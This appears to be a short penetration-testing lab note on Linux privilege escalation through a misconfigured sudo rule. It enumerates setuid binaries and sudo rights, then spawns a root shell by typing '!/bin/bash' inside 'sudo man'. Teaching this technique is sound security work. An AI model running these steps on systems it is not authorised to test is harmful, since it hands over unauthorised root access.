# Misconfigured SUDO Privileges
### Find **misconfigured `sudo` privileges**
## Local Enumeration
## Misconfigured SUDO Privileges
* Find [`setuid`](https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/) programs
```
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm -u=s -type f 2>/dev/null
```
* Identify what commands the `student` user can run
```
sudo -l
```
> ❗ **`/usr/bin/man`** binary can be run ***with\*\*\*\* ****`SUDO`**** ****privileges, without providing a**** ****`root`**** \*\*\*\*user password***
* This can happen on Linux systems for specific binaries that other users have to run with `SUDO` privileges. It looks *harmless*, but it can allow users to spawn bash privileged sessions, since **the specific binary can be utilized to execute specific commands**. Those commands are executed with the binary `root` privileges.
## Privilege Escalation
```
sudo man ls
```
* In the `man` scrolling page, using the **`!`** a `bash` can be spawned
```
!/bin/bash
# "root" bash sessions is received
```
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